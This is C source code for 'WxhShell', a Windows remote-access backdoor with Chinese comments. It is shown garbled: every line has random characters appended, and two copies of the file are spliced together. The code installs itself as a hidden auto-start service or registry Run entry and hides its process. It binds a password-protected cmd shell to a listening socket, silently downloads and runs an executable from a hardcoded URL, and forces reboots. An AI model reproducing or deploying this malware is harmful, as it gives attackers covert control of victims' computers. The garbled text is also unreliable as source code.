    if(Boot(SHUTDOWN)) *2pf> UzL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:-x!lt  
    else { 7ug"SV6Hb  
    closesocket(wsh); HLOr Dlj7  
    ExitThread(0); -K3d u&j  
    } "$pbK:  
    break; U$Z<lx2P  
    } k||dX(gl  
  // 获取shell .>z1BP:(  
  case 's': { YgdQC(ib  
    CmdShell(wsh); "blq)qo)  
    closesocket(wsh); lV$CBS  
    ExitThread(0); (cyvE}g  
    break; 6l[ v3l"t  
  } `So/G  
  // 退出 +(PUiiP'"v  
  case 'x': { T<"Bb[kH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v>j,8E  
    CloseIt(wsh); @Pf9;7,TV  
    break; {* P[dyu  
    } (Ldvx_  
  // 离开 }0tHzw=#%e  
  case 'q': { 4.^T~n G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #:By/9}-  
    closesocket(wsh); 6VVxpDAi:  
    WSACleanup(); (Gw*x sn1  
    exit(1); TgaxZW  
    break; J e,o(:  
        } y0`; br\X  
  } P;o  {t  
  } JsNj!aeU%  
qS9<_if2  
  // 提示信息 D'vaK89\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~M8|r!_  
} Cf9{lhE8  
  } 6 &0r/r  
v? OUd^  
  return;  %S%IW  
} TY'c'u,  
[T,Hpt  
// shell模块句柄 2x9.>nwhb  
int CmdShell(SOCKET sock) W=3#oX.GsU  
{ #4./>}G  
STARTUPINFO si; , ^K.J29  
ZeroMemory(&si,sizeof(si)); c?e-2Dp(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /# ]eVD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wN58uV '  
PROCESS_INFORMATION ProcessInfo; Hy1$Kvub  
char cmdline[]="cmd"; }Nd1'BVf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >}\s-/  
  return 0; pS |K[:5  
} ;N?(R\* 8  
(WJ)!  
// 自身启动模式 <D3mt Q  
int StartFromService(void) \8=)X})  
{ 3]GMQA{L)  
typedef struct FR[I~unqD  
{ vi *A 5  
  DWORD ExitStatus; G{]RC^Zo  
  DWORD PebBaseAddress; Jx~H4y=z  
  DWORD AffinityMask; .|^Gde  
  DWORD BasePriority; iiQ q112`  
  ULONG UniqueProcessId; ?&;_>0P  
  ULONG InheritedFromUniqueProcessId; =PciLh  
}   PROCESS_BASIC_INFORMATION; C\;l)h_{  
"+T`{$Z=C  
PROCNTQSIP NtQueryInformationProcess; '?| 1\j  
+Wg/ O -  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %4),P(4N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YI ?P@y  
:;.^r,QAI  
  HANDLE             hProcess; D\b$$z]q  
  PROCESS_BASIC_INFORMATION pbi; 51b%uz  
w2UEU5%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *U,J Q  
  if(NULL == hInst ) return 0; NS2vA>n8R  
xYCJO(&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qv5 fK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 38D5vT)n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r'jUB^E  
&>C+5`bg  
  if (!NtQueryInformationProcess) return 0; "WuUMt  
mjWU0.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :>JfBJ]|  
  if(!hProcess) return 0; P*BRebL:  
lYCvYe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7)V"E-6h  
bf0,3~G,P  
  CloseHandle(hProcess); o+&Om~W  
JR#4{P@A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j :B/ FL  
if(hProcess==NULL) return 0; uR :EH.K  
On}1&!{1]  
HMODULE hMod; /uX*FZ  
char procName[255]; D$ K'Qk  
unsigned long cbNeeded; c>K]$;}  
OQ hQ!6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T2S_> #."l  
PXYLL X\3  
  CloseHandle(hProcess); sWte&  
 e|!'  
if(strstr(procName,"services")) return 1; // 以服务启动 S xJ&5q  
G~8BND[."  
  return 0; // 注册表启动 )g dLb}  
} zUL,~u  
n}.e(z_"  
// 主模块 Hs'~) T  
int StartWxhshell(LPSTR lpCmdLine) n H?6o#]N  
{ \hgd&H0UU  
  SOCKET wsl; cVW7I  
BOOL val=TRUE; BYXc 'K  
  int port=0; :vb5J33U  
  struct sockaddr_in door; wDh]vH[  
TPJF?.le '  
  if(wscfg.ws_autoins) Install(); nK :YbLdK,  
ah:["< z<  
port=atoi(lpCmdLine); &>,]YrU  
d<7b<f"~  
if(port<=0) port=wscfg.ws_port; yy8-t2V  
m%`YAD@2z  
  WSADATA data; jeWv~JA%L|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &|{1Ws  
cl4z%qv*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {73V?#P4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F1stRZ1ZI  
  door.sin_family = AF_INET; "ktuq\a@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0fXMY-$I  
  door.sin_port = htons(port); NUYKMo1ze  
(Of6Ij?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W+!UVUpW  
closesocket(wsl); AE}cHBwZE  
return 1; l;_IH|A  
} 7j\^h2  
HK/WO jr  
  if(listen(wsl,2) == INVALID_SOCKET) { 1v]%FC`  
closesocket(wsl); sQ#e 2  
return 1; hz4?ku  
} s6 g"uF>k  
  Wxhshell(wsl); [[IMf-]  
  WSACleanup(); Pl/ dUt_  
c EYHB1*cT  
return 0; Gn8 sB  
_GG\SWm  
} 9Vm1q!lE  
][S q^5`  
// 以NT服务方式启动 6XWNJb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4-.K<-T%D  
{ d=xjLbsZ  
DWORD   status = 0; _J!^iJ  
  DWORD   specificError = 0xfffffff; h5'hP>b#  
^1.*NG8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m}wn+R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T06(Q[)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q 84t=  
  serviceStatus.dwWin32ExitCode     = 0; (p%|F`  
  serviceStatus.dwServiceSpecificExitCode = 0; P0.cF]<m  
  serviceStatus.dwCheckPoint       = 0; eZPeyYX  
  serviceStatus.dwWaitHint       = 0; )*]A$\Oc[  
R7Y_ 7@p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :>fT=$i@  
  if (hServiceStatusHandle==0) return; OKMdyyO<l  
sr6 BC.  
status = GetLastError(); {h+8^   
  if (status!=NO_ERROR) Y.Zd_,qy  
{ =Pl@+RgK+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !#)t<9]fv  
    serviceStatus.dwCheckPoint       = 0; ]!/U9"_e"B  
    serviceStatus.dwWaitHint       = 0; 1p. c6[9 -  
    serviceStatus.dwWin32ExitCode     = status; QgqJ #  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8D )nM|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 58s-RO6  
    return; M4C8K{}  
  } @v lP)"  
5j`xSG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WY!\^| ,  
  serviceStatus.dwCheckPoint       = 0; g{yw&q[B=  
  serviceStatus.dwWaitHint       = 0; 5)%ahmY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $v@$C4  
} juOStTq<  
!Ap5Uwd  
// 处理NT服务事件,比如:启动、停止 K'ZNIRr/ C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !vgY3S0?rq  
{ ;0 B1P|7zK  
switch(fdwControl) _&/`-"3y  
{ \l:R]:w;ZI  
case SERVICE_CONTROL_STOP: <==uK>pET  
  serviceStatus.dwWin32ExitCode = 0; $yASWz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f=l/Fp}4UH  
  serviceStatus.dwCheckPoint   = 0; +^Xf:r` G  
  serviceStatus.dwWaitHint     = 0; bZYayjxZ5i  
  { ZG^<<V$h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] ]U)wg  
  } d-~V.  
  return; srv4kodj  
case SERVICE_CONTROL_PAUSE: G JRl{Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S1|u@d'  
  break; `yv?PlKL  
case SERVICE_CONTROL_CONTINUE: 2PlhnUQ7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u8zL[] >  
  break; ;l*%IMB  
case SERVICE_CONTROL_INTERROGATE: $ ZI ]  
  break; 3<^Up1CaZ  
}; xQFY/Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {^dq7!  
} U4!KO;Jc  
x fb .Z(  
// 标准应用程序主函数 G+<XYkz*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0*XsAz1,9  
{ "'z}oS  
Fe0M2%e;|  
// 获取操作系统版本 *-9i<@|(U^  
OsIsNt=GetOsVer(); q2EDrZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J 8%gC  
r/sSkF F  
  // 从命令行安装 GI]\  
  if(strpbrk(lpCmdLine,"iI")) Install(); sv=U^xI  
|jiIx5qr  
  // 下载执行文件  rexf#W)  
if(wscfg.ws_downexe) { _Xd"'cXw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \}jA1oy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3*h"B$g!  
} lJdBUoO  
(fF8)4l  
if(!OsIsNt) { wo0j/4o  
// 如果时win9x,隐藏进程并且设置为注册表启动 O^MI073Q>t  
HideProc(); \t!~s^Oox  
StartWxhshell(lpCmdLine); ,JZ>)(@)  
} AO7[SHDZ  
else #'Y lO -C  
  if(StartFromService()) ?9\D(V  
  // 以服务方式启动 /2? CB\  
  StartServiceCtrlDispatcher(DispatchTable); [on_=N{W[  
else V5K/)\#  
  // 普通方式启动 0>od1/`  
  StartWxhshell(lpCmdLine); 'OA*aQ=K  
X}Oe'y  
return 0; "QnYT3[l"  
} c~vhkRA  
%hSQ\T<8[o  
j,j|'7J%  
"TA0--6  
=========================================== LaQ7A,]  
h+W$\T)  
'f6H#V*C  
@[g7\d  
3jAr"xc  
O t)}:oG  
" &4:R(]|  
M(a%Qk?]/  
#include <stdio.h> Vc9rc}  
#include <string.h> %V>%AP  
#include <windows.h> lI?P_2AaS  
#include <winsock2.h> k' st^1T  
#include <winsvc.h> Og1-LP|X  
#include <urlmon.h> \U$:/#1Oe  
v[Q)L!J1  
#pragma comment (lib, "Ws2_32.lib") i#la'ICwJ  
#pragma comment (lib, "urlmon.lib") QCb D^  
%R >n5m  
#define MAX_USER   100 // 最大客户端连接数 1Vu#:6%  
#define BUF_SOCK   200 // sock buffer ,-Hj  
#define KEY_BUFF   255 // 输入 buffer "Pwa}{  
hoq2zDjD  
#define REBOOT     0   // 重启 c& ;@i$X(  
#define SHUTDOWN   1   // 关机 ..JRtuM-v  
U823q-x  
#define DEF_PORT   5000 // 监听端口 M8~3 0L  
#s{^fUN6  
#define REG_LEN     16   // 注册表键长度 '{ _ X1  
#define SVC_LEN     80   // NT服务名长度 \\R}3 >Wc  
E]' f&0s  
// 从dll定义API (u&x.J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Or? )Nlg6x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z<;W*6J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +VkL?J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (m R)o&Y%,  
-$:; en?  
// wxhshell配置信息 (,h2qP-;ud  
struct WSCFG {  WwB_L.{  
  int ws_port;         // 监听端口 7W)W9=&BT  
  char ws_passstr[REG_LEN]; // 口令 TLsF c^X  
  int ws_autoins;       // 安装标记, 1=yes 0=no {5Bj*m5  
  char ws_regname[REG_LEN]; // 注册表键名 q}t]lD %C  
  char ws_svcname[REG_LEN]; // 服务名 GTR*3,rw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h[>pC"s?K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KA?}o^-F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 86{>X5+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j,i9,oF6]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >Hnm.?-AWl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V[(fE=cIN~  
'W(u.  
}; xq((]5Py  
GURiW42  
// default Wxhshell configuration ~]-n%J $q  
struct WSCFG wscfg={DEF_PORT, M G$+Blw>  
    "xuhuanlingzhe", U 3< 3T  
    1, T_S3_-|{==  
    "Wxhshell", v*!N}1+J  
    "Wxhshell", K) }1;  
            "WxhShell Service", WAxNQfEe  
    "Wrsky Windows CmdShell Service", X<,QSTP  
    "Please Input Your Password: ", ye.6tlW  
  1, oks;G([  
  "http://www.wrsky.com/wxhshell.exe", @%,~5{Ir  
  "Wxhshell.exe" on 7 n4  
    }; v":q_w<k  
:6Nb,Hh~  
// 消息定义模块 1%v6d !  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |<u+Xi ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %'1iT!g8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KVOV<uDCj  
char *msg_ws_ext="\n\rExit."; m#UQ,EM  
char *msg_ws_end="\n\rQuit."; Pdf-2 Tx  
char *msg_ws_boot="\n\rReboot..."; (}39f  
char *msg_ws_poff="\n\rShutdown..."; 4J5zSTw  
char *msg_ws_down="\n\rSave to "; o4" [{LyT  
1L!;lP2  
char *msg_ws_err="\n\rErr!"; !MKecRG_  
char *msg_ws_ok="\n\rOK!"; )J[m>tyY5  
Z9DfwWI2nu  
char ExeFile[MAX_PATH]; N)"8CvQL  
int nUser = 0; [_JdV(]$  
HANDLE handles[MAX_USER]; vi}16V84l  
int OsIsNt; Ca'BE#q  
44 u)F@)  
SERVICE_STATUS       serviceStatus; `-{l$Hn9|~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *,z/q6  
s>/Xb2\  
// 函数声明 {g.YGO  
int Install(void); YIRe__7-NU  
int Uninstall(void); n}UJ - \$  
int DownloadFile(char *sURL, SOCKET wsh); q=W.82.U  
int Boot(int flag); >+J}mo=*  
void HideProc(void); wnC} TWxX  
int GetOsVer(void); !An?<Sv$  
int Wxhshell(SOCKET wsl); fM ID}S  
void TalkWithClient(void *cs); zb{79Os[B  
int CmdShell(SOCKET sock); A M[f  
int StartFromService(void); ycBgr,Ynu<  
int StartWxhshell(LPSTR lpCmdLine); 3JGrJ!x  
{rcN_N%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s;I @En  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "<=4]Z  
h\[@J rDa  
// 数据结构和表定义 `o{ Z;-OF  
SERVICE_TABLE_ENTRY DispatchTable[] = -| FHv+  
{ >UCg3uFj  
{wscfg.ws_svcname, NTServiceMain}, TnN yth wZ  
{NULL, NULL} ]R""L<K%HF  
}; P*!`AWn  
JH\:9B+:L  
// 自我安装 Hl}lxK,]  
int Install(void)  :f[ w  
{ eE'P)^KV  
  char svExeFile[MAX_PATH]; _O}m0c   
  HKEY key; GM2}]9  
  strcpy(svExeFile,ExeFile); ![%wM Pp  
c[ZrQJ  
// 如果是win9x系统,修改注册表设为自启动 [e` | <  
if(!OsIsNt) { D \i]gfu8W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Lh%bqGz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D;P=\i>9-  
  RegCloseKey(key); Kzn1ct{65!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zp/+F(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]_(hUj._  
  RegCloseKey(key); Sesdhuy.@  
  return 0; @.7/lRr@bp  
    } Z 01A~_  
  } 6m$X7;x}  
} <KX9>e  
else { LY0f`RX*&  
9HJYrzf{%  
// 如果是NT以上系统,安装为系统服务 d'W2I*Zc<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F9eEQ{L  
if (schSCManager!=0) 4"@;.C""  
{ ?7NSp2aq2A  
  SC_HANDLE schService = CreateService UK,bfLPt~  
  ( ?L0;, \-t  
  schSCManager, -u@ ^P7  
  wscfg.ws_svcname, ,mz;$z6i  
  wscfg.ws_svcdisp, }OEL] 5  
  SERVICE_ALL_ACCESS, i!2k f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |aLK_]!  
  SERVICE_AUTO_START, ow \EL  
  SERVICE_ERROR_NORMAL, e$s&B!qJ  
  svExeFile, XnP?hw%  
  NULL, Z5v_- +K  
  NULL, r\"R?P$y|  
  NULL, b[:,p?:@  
  NULL, W7n^]~V  
  NULL ta{24{?M\  
  ); eOb--@~8  
  if (schService!=0) N*36rR$^  
  { ~T;:Tg*  
  CloseServiceHandle(schService); KD A8x W  
  CloseServiceHandle(schSCManager); M ]047W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b|-)p+ba  
  strcat(svExeFile,wscfg.ws_svcname); Xb:* KeZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KyrZ&E.`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A@>/PB6n  
  RegCloseKey(key); :lXY% [!6P  
  return 0; ~T H4='4W3  
    } MDytA0M  
  } P-B5-Nz  
  CloseServiceHandle(schSCManager); R|*0_!O:[  
} CtMqE+j^  
} h F+aL  
{v0r'+`  
return 1; ]D;*2Lw4&  
} d(|?gN^  
h rSH)LbJ  
// 自我卸载 J\@g3oGw  
int Uninstall(void) /x@aAJ|  
{ [[c0g6  
  HKEY key; 0]5X Tc3r  
JL G!;sov  
if(!OsIsNt) { SAq .W"ri  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |?J57(  
  RegDeleteValue(key,wscfg.ws_regname); Z&>Cdgt*  
  RegCloseKey(key); ?u#s?$Y?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K9ia|2f  
  RegDeleteValue(key,wscfg.ws_regname); m Z +dr[  
  RegCloseKey(key); >N al\  
  return 0; _yAY5TIv  
  } T/ECW  
} HTQTDbhV^  
} FiMM-c|  
else { k}:;`ST  
:=*G7ZyW$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }< '6FxR  
if (schSCManager!=0) *@bz<{!  
{ fNi&r0/-t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,ASNa^7/>  
  if (schService!=0) 4v>SXch  
  { `^/8dIya  
  if(DeleteService(schService)!=0) { Ub f5 :  
  CloseServiceHandle(schService); P<X?  
  CloseServiceHandle(schSCManager); Khd A;bF  
  return 0; *g*"bi*  
  } +pgHCzwJE  
  CloseServiceHandle(schService);  ^[SW07o~  
  } aPlEM_escS  
  CloseServiceHandle(schSCManager); uxn+.fA  
} mC@v,"  
} H0&wn#);6R  
*~GI-h  
return 1; :ILpf+`yY  
} .aO6Y+Y  
Pqx?0 f)  
// 从指定url下载文件 jY\z+lW6A  
int DownloadFile(char *sURL, SOCKET wsh) 6h5g!GQD  
{ ! (lF#MG}  
  HRESULT hr; 41=H&G&  
char seps[]= "/"; %r.OV_04  
char *token; &I=o1F2B)  
char *file; i/*)1;xsk  
char myURL[MAX_PATH]; dH5*%  
char myFILE[MAX_PATH]; 7:F0?l*  
EGI$=Y  
strcpy(myURL,sURL); _R(ZvsOZ  
  token=strtok(myURL,seps); .lj5pmD  
  while(token!=NULL) :vIJ>6lIR  
  { <w}^Z}fpk&  
    file=token; .!<yTh  
  token=strtok(NULL,seps); p4IyKry,  
  } @{RhO|UR  
3| w$gG;Y  
GetCurrentDirectory(MAX_PATH,myFILE); Z[VrRT,\c  
strcat(myFILE, "\\"); 0xDn!  
strcat(myFILE, file); I}u\ov_Su  
  send(wsh,myFILE,strlen(myFILE),0); 0`.&U^dG  
send(wsh,"...",3,0); |WS@q'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l8(9?!C  
  if(hr==S_OK) #Tzs9Bkaca  
return 0; ~Y f8,m  
else *=B<S/0  
return 1; e.L&A|  
4Ia'Yr  
} ,<+:xl   
} l+_KA  
// 系统电源模块 |LJv*  
int Boot(int flag) @TW:6v`  
{ v&G9HiH  
  HANDLE hToken; ,&3+w ~Ua  
  TOKEN_PRIVILEGES tkp; Y(`Bc8h  
*YH!L{y  
  if(OsIsNt) { ):4)8@]5M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WFc4(Kl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >{(c\oMD  
    tkp.PrivilegeCount = 1; k(tB+k!vH\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !21G $ [H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UVLS?1ra  
if(flag==REBOOT) { CLZ j=J2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >0:3CpO*  
  return 0; O[$X36z  
} 'LG\]h>+)  
else { sF)$<[w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IAkQR0fcN  
  return 0; 0TV16 --  
} &k|EG![  
  } m4W (h6  
  else { q]f7D\ M  
if(flag==REBOOT) { i@6g9\x+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $X:,Q,?  
  return 0; EP;ts  
} c{to9Lk.#  
else { Cp!9 "J:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :(OV{ u  
  return 0; WwoT~O8R  
}  * ;Q#UH  
} H@zZ[  
% +  
return 1; ueU"v'h\  
} f%_$RdU  
Z%ZOAu&p  
// win9x进程隐藏模块 )CoFRqz<h  
void HideProc(void) dk1q9Tx  
{ d< XY"Y%  
.$d:c61X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +KExK2=  
  if ( hKernel != NULL ) 3,i`FqQa  
  { >cjxu9Vr1K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m,hqq%qz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (W"0c?i|]  
    FreeLibrary(hKernel); `_/1zL[  
  } _"D J|j  
}Gb^%1%M  
return; ()8=U_BFz  
} NE`;=26c  
tjV63`LD  
// 获取操作系统版本 v@2?X4n  
int GetOsVer(void) He4q-\ht  
{ S9[Up}`  
  OSVERSIONINFO winfo; SK/}bZ;f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t3}_mJ  
  GetVersionEx(&winfo); #,lbM%a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D5@}L$ u  
  return 1; |@b|Q,  
  else c 3| Lk7Q  
  return 0; ML$#&Z@ *7  
} j&.JAQ*2;  
Tf$>^L  
// 客户端句柄模块 / L$q8+  
int Wxhshell(SOCKET wsl) 3- d"-'k  
{ R(y`dQy<K  
  SOCKET wsh; nx`W!|g$`  
  struct sockaddr_in client; lr)MySsu#H  
  DWORD myID; <.lN'i;(  
y&4im;X0  
  while(nUser<MAX_USER) GQ.akA_(  
{ *x#5S.i1  
  int nSize=sizeof(client); -"^"& )  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +&X>ul  
  if(wsh==INVALID_SOCKET) return 1; vcy+p]6KE-  
zYPvpZV/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); } -hH2  
if(handles[nUser]==0) \sVzBHy d  
  closesocket(wsh); EG=U](8T  
else },5LrX`L  
  nUser++; [A!=Hv_$  
  } H lFVc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k ;vOPcw  
[daR)C  
  return 0; LWM& k#i  
} 86&r;c:  
`i!-@WN"  
// 关闭 socket Q3)[ *61e  
void CloseIt(SOCKET wsh) E9 #o0Di  
{ 1U~'8=-   
closesocket(wsh); hoPh#? G  
nUser--; V^9%+L+E5  
ExitThread(0); JK XIxw>q  
} L(`q3>iC4.  
~fgS"F^7n  
// 客户端请求句柄 ,tBc%&.f  
void TalkWithClient(void *cs) +x:VIi  
{ k8.,id  
OnW,R3eg  
  SOCKET wsh=(SOCKET)cs; 5oD%~Fk l  
  char pwd[SVC_LEN]; P!~&Ei  
  char cmd[KEY_BUFF]; 2)^T[zHe  
char chr[1]; _{i- .;K  
int i,j; 99q$>nx,w  
,n5 [Y)  
  while (nUser < MAX_USER) { Zr\G=0`  
1-4*YrA  
if(wscfg.ws_passstr) { 9Cb>J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Me,AE^pgL'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /8(t:  
  //ZeroMemory(pwd,KEY_BUFF); IP 1{gMG  
      i=0; vs.}Bou]  
  while(i<SVC_LEN) { LrV4^{9(  
q p1rP#  
  // 设置超时 LTD;  
  fd_set FdRead; <8Q?kj  
  struct timeval TimeOut; q*>|EJR^Rw  
  FD_ZERO(&FdRead); A56aOI=  
  FD_SET(wsh,&FdRead); xaSiG  
  TimeOut.tv_sec=8; E[_-s  
  TimeOut.tv_usec=0; N aiZU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o648 xUP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GZFLJu  
na4^RPtN\e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y2p~chx9  
  pwd=chr[0]; 5th\_n}N2/  
  if(chr[0]==0xd || chr[0]==0xa) { F>3fP  
  pwd=0; ;%i.@@:IQ  
  break; ZZ;V5o6E  
  } o|a]Q  
  i++; n)teX.ck)  
    } A832z`  
pK2n'4 C  
  // 如果是非法用户,关闭 socket _UeIzdV9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0l%|2}a  
} ] yXrD`J!  
G Q+g.{c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w.0]>/C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h5#V,$  
y {1p#  
while(1) { nxYp9,c"  
1(U\vMb  
  ZeroMemory(cmd,KEY_BUFF); <wt9K2,  
W>7o ec  
      // 自动支持客户端 telnet标准   ) /<\|mR  
  j=0; B,dKpz;kFg  
  while(j<KEY_BUFF) { F_Mi/pB^`9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G@n%P~  
  cmd[j]=chr[0]; ViT$]Nv  
  if(chr[0]==0xa || chr[0]==0xd) { VlFDMw.4.+  
  cmd[j]=0; e_pyjaY!s  
  break; M}6? |ir  
  } B\!.o=<h  
  j++; u>-!5=D8  
    } cS1BB#N0  
|2~fOyA+  
  // 下载文件 >;@hA*<  
  if(strstr(cmd,"http://")) { eqE%ofW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lFL iW  
  if(DownloadFile(cmd,wsh)) gobqS+c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z66@@?`  
  else S}*%l)vfR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @=[ SsS  
  } LA^H213N|  
  else { k/#& ]8(  
=w!14@W  
    switch(cmd[0]) { BqKh&m  
  C[O \aW  
  // 帮助 P1 `-OM  
